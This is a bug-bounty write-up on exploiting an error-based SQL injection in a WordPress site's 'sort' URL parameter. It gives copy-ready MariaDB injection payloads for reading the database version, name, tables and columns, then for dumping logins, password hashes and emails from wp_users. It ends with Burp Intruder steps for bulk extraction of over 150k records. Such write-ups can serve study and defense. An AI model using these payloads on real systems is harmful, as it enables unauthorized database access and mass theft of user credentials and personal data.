Error-Based SQL Injection on a WordPress website and extract more than 150k user details

Description

First of all, this is my first write-up, so sorry for any mistakes. In this write-up, I will share with you how I get the data of more than 150k users from a WordPress website, and how I bypassed some of the errors that happen to me in this WordPress website.

Detect the vulnerability and fix the errors

Let’s called the website target.com

https://target.com/pages/?sort=1
https://target.com/pages/?sort=1'
<div id="error"><p class="wpdberror"><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#039;\\\\\\&#039; ASC LIMIT 10 OFFSET 4120&#039; at line 6]<br /><code>
SELECT
p.*,
c.Name as CategoryName,
c.Slug as CategorySlug,
c.Code as CategoryCode,
(CAST(p.UpvoteCount as SIGNED) - CAST(p.DownvoteCount as SIGNED)) as Votes FROM wp_news_posts AS p LEFT JOIN wp_news_categories c ON(c.Id = p.CategoryId) WHERE p.AggregatorId = 3 AND p.Status != &quot;rejected&quot; AND p.Status != &quot;pending&quot; GROUP BY p.Id ORDER BY p.1\\\\\\&#039; ASC LIMIT 10 OFFSET 4120</code></p></div><!DOCTYPE html>
https://target.com/pages/?sort=1'--
https://target.com/pages/?sort=1'-- -
https://target.com/pages/?sort=1'/
https://target.com/pages/?sort=1'#
WordPress database error: [Unknown column &#039;p.1&#039; in &#039;order clause&#039;]
SELECT
p.*,
c.Name as CategoryName,
c.Slug as CategorySlug,
c.Code as CategoryCode,
(CAST(p.UpvoteCount as SIGNED) - CAST(p.DownvoteCount as SIGNED)) as Votes FROM wp_news_posts AS p LEFT JOIN wp_news_categories c ON(c.Id = p.CategoryId) WHERE p.AggregatorId = 3 AND p.Status != &quot;rejected&quot; AND p.Status != &quot;pending&quot; GROUP BY p.Id ORDER BY p.1 ASC LIMIT 10 OFFSET 4120
https://target.com/pages/?sort=CategoryId

How does Error-Based work

How do you know you should use

a. The Used Select Statements Have  Different Number Of Columns.
b. Unknown Column 1 or no columns at all (in webpage and page source)
c._error_ #1604

Knowing the Database Version

Enter this query at the end of the URL:

and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)
<https://target.com/pages/?sort=CategoryId> and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)
10.3.14-MariaDB

Getting the database name

we can get the database name with this query:

and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT database()), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)
<https://target.com/pages/?sort=CategoryId> and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT database()), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)
prd2

Getting the table names

We can get the table names with this query:

and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
[Duplicate entry &#039;wp_mail~1; for key group_key]
CategoryId+and (select 1 from (select count(*),concat((select(select substring(group_concat(table_name),1,150)) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

Getting columns from wp_users table

we can get the columns with this query :

and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x77705f7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x77705f7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
ID
user_login
user_pass
user_nicename
user_email
user_url
user_registered
user_activation_key
user_status
display_name

Extracting the data from columns

we can extract the data from columns with the following query:

<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(concat(ID,0x7e,user_login,0x7e,user_pass,0x7e,user_email) as char),0x7e)) from prd2.wp_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
CategoryId+And(select 1 from(select count(*),concat(0x3a,(select substr(group_concat(ID,0x7e,user_login,0x7e,user_pass,0x7e,user_email),1,150)from prd2.wp_users),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)z)
  • send the request to Intruder.
  1. Go to Grep — Extract, then click add
  2. Click on the Refetch response button.
  3. Select the data that you want to fetch
  4. Click OK
  • understand the error very well and don’t depend on the SQLMAP or any other tool for the first time.

Bug bounty hunter